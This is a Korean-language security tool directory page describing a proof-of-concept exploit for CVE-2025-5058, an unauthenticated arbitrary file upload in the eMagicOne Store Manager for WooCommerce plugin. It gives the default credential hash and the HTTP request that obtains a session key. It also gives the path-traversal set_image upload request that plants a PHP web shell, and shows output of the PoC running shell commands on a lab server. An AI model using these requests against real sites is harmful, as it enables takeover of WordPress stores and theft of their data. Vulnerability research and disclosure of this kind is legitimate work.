Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-5058 — eMagicOne Store Manager for WooCommerce <= 1.2.5 - set_image 작업을 통한 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-5058
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubd0n601/cve-2025-5058

CVE-2025-5058

eMagicOne Store Manager for WooCommerce <= 1.2.5 - set_image 작업을 통한 인증되지 않은 임의 파일 업로드

저장소 보기
111년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

eMagicOne Store Manager for WooCommerce <= 1.2.5 - set_image 태스크를 통한 인증되지 않은 임의 파일 업로드

eMagicOne Store Manager for WooCommerce 플러그인은 서버에 파일 업로드를 허용하는 원격 관리 프로토콜 엔드포인트(?connector=bridge)를 노출합니다. 인증 메커니즘은 기본 자격 증명 쌍(login=1, password=1)과 세션 키 시스템에 의존합니다. 기본 자격 증명이 변경되지 않은 경우, 공격자는 손쉽게 인증하여 세션 키를 얻은 다음 set_image 태스크를 통해 WordPress 루트 또는 쓰기 가능한 디렉터리에 임의 파일(PHP 셸 포함)을 업로드할 수 있습니다.

재현

  • 공격자가 shell.php라는 웹 셸을 업로드하는 모습을 보여주는 POC CVE-2025-5058.py가 제공됩니다.
root@kitploit:~
python CVE-2025-5058.py https://lab1.hacker      

[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"03877e9c7c21be0a8022d0d9397bb5c4d153a7cd51d2ddc2c398465160747f24"}
[+] Got session key: 03877e9c7c21be0a8022d0d9397bb5c4d153a7cd51d2ddc2c398465160747f24
[*] Uploading file via set_image...
[*] Upload response: <br />
<b>Warning</b>:  Trying to access array offset on false in <b>/home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php</b> on line <b>324</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on false in <b>/home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php</b> on line <b>325</b><br />
{"response_code":"19","message":"Unable to resize one or more of your pictures"}
[*] Executing Web Shell Commands...
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 82708sec preferred_lft 82708sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 85990sec preferred_lft 13990sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:0a:f0:30:8c brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

취약한 흐름

기본 자격 증명 및 해시 계산

플러그인이 활성화되면 smconnector.php에 다음 상수가 설정됩니다:

root@kitploit:~
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

인증에 사용되는 기본 해시는 다음과 같습니다:

root@kitploit:~
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

결과: 기본 해시는 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b입니다.

세션 키 획득

세션 키는 해시와 태스크(예: get_version)를 포함한 POST 요청을 브리지 엔드포인트로 전송하여 얻습니다:

root@kitploit:~
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

관련 코드:
classes/class-emosmconnectorcommon.php (라인 ~441-525):

root@kitploit:~
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}

세션 키 저장

세션 키는 wp_smconnector_session_keys 테이블에 저장됩니다:

root@kitploit:~
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' + self::TABLE_SESSION_KEYS
        + "` (`session_key`, `date_added`, `last_activity`) VALUES ('" + $this->shop_cart->p_sql( $key ) + "', '"
        + $date + "', '" + $date + "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

임의 파일 업로드

유효한 세션 키를 사용하면 공격자는 set_image 태스크를 이용해 파일을 업로드하고, 파라미터를 악용하여 임의의 파일을 작성할 수 있습니다:

root@kitploit:~
POST /?connector=bridge
Content-Type: multipart/form-data

task=set_image&entity_type=product&image_id=../../shell.php&key=<session_key>
[email protected];type=text/plain

관련 코드:
classes/class-emosmconnectorcommon.php (라인 ~2115+):

root@kitploit:~
private function set_image() {
    // ... parameter checks ...
    if ( ! $this->shop_cart->set_image( $entity_type, $image_id, self::UPLOAD_FILE_NAME, $type ) ) {
        $this->generate_error( $this->br_errors['upload_image_error'] );
    }
}

classes/class-emosmcwoocommerceoverrider.php (라인 ~272+):

root@kitploit:~
public function set_image( $entity_type, $image_id, $img, $type ) {
    // ...
    $destination_path = $this->get_shop_root_dir() . "$entity_type/$image_id";
    // ...
    $result = move_uploaded_file( $tmp_name, $destination_path );
    // ...
}

결과: 파일은 WordPress 루트(또는 image_id에서의 경로 순회를 통해 지정된 디렉터리)에 작성됩니다.

도구 다운로드